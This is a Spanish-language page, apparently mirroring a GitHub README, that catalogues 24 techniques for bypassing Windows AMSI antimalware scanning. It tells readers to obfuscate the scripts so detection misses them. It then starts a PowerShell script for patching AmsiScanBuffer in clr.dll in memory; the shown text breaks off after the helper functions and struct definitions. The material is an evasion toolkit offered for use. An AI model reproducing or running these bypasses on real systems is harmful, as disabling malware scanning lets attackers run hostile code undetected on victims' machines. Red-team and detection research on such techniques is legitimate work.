Patrocinado por

     

Amsi-Bypass-Powershell

Este repositorio contiene algunos métodos de bypass/evasión de Antimalware Scan Interface (AMSI) que encontré en diferentes publicaciones de blogs.

La mayoría de los scripts son detectados por el propio AMSI. Por lo tanto, debes encontrar el trigger y cambiar la firma en la parte mediante renombrado de variables/funciones, reemplazo de cadenas o codificación y decodificación en tiempo de ejecución. Alternativamente, ofuscarlos a través de ISESteroids y/o Invoke-Obfuscation para que funcionen. También puedes echar un vistazo a mi publicación en el blog sobre cómo cambiar manualmente la firma para obtener un bypass válido nuevamente.

0. Parchear AmsiScanBuffer en clr.dll
1. ScriptBlock Smuggling
2. Cambio de ScanContent mediante Reflection
3. Usar puntos de interrupción de hardware
4. Usar hooking de CLR
5. Parchear la DLL del proveedor de Microsoft MpOav.dll
6. Intercepción de escaneo y parcheo de funciones del proveedor
7. Parcheo de AMSI AmsiScanBuffer por rasta-mouse
8. Parcheo de AMSI AmsiOpenSession
9. No usar net webclient - este ya no funciona
10. Parche de Amsi ScanBuffer de -> https://www.contextis.com/de/blog/amsi-bypass
11. Forzar un error
12. Deshabilitar el registro de scripts
13. Parche de búfer de Amsi - En memoria
14. Igual que 6 pero con bytes enteros en lugar de Base64
15. Usar el método de Reflection de Matt Graeber
16. Usar el método de Reflection de Matt Graeber con bypass de autologging de WMF5
17. Usar el segundo método de Reflection de Matt Graeber
18. Usar el método de secuestro de DLL de Cornelis de Plaa
19. Usar PowerShell versión 2 - No tiene soporte AMSI
20. Nishang todo en uno
21. Parche de Adam Chester
22. Versión modificada de 3. Amsi ScanBuffer - sin compilación con CSC.exe
23. Parchear la dirección de AmsiScanBuffer en System.Management.Automation.dll

Parcheo de CLR

• Explicado aquí Modificar la DLL de CLR en memoria```powershell

Define Constants

$PAGE_READONLY = 0x02 $PAGE_READWRITE = 0x04 $PAGE_EXECUTE_READWRITE = 0x40 $PAGE_EXECUTE_READ = 0x20 $PAGE_GUARD = 0x100 $MEM_COMMIT = 0x1000 $MAX_PATH = 260

Helper functions

function IsReadable { param ($protect, $state) return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT) }

function PatternMatch { param ($buffer, $pattern, $index) for ($i = 0; $i -lt $pattern.Length; $i++) { if ($buffer[$index + $i] -ne $pattern[$i]) { return $false } } return $true }

if ($PSVersionTable.PSVersion.Major -gt 2) { # Create module builder $DynAssembly = New-Object System.Reflection.AssemblyName("Win32") $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)

# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
$MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()

# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
$SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()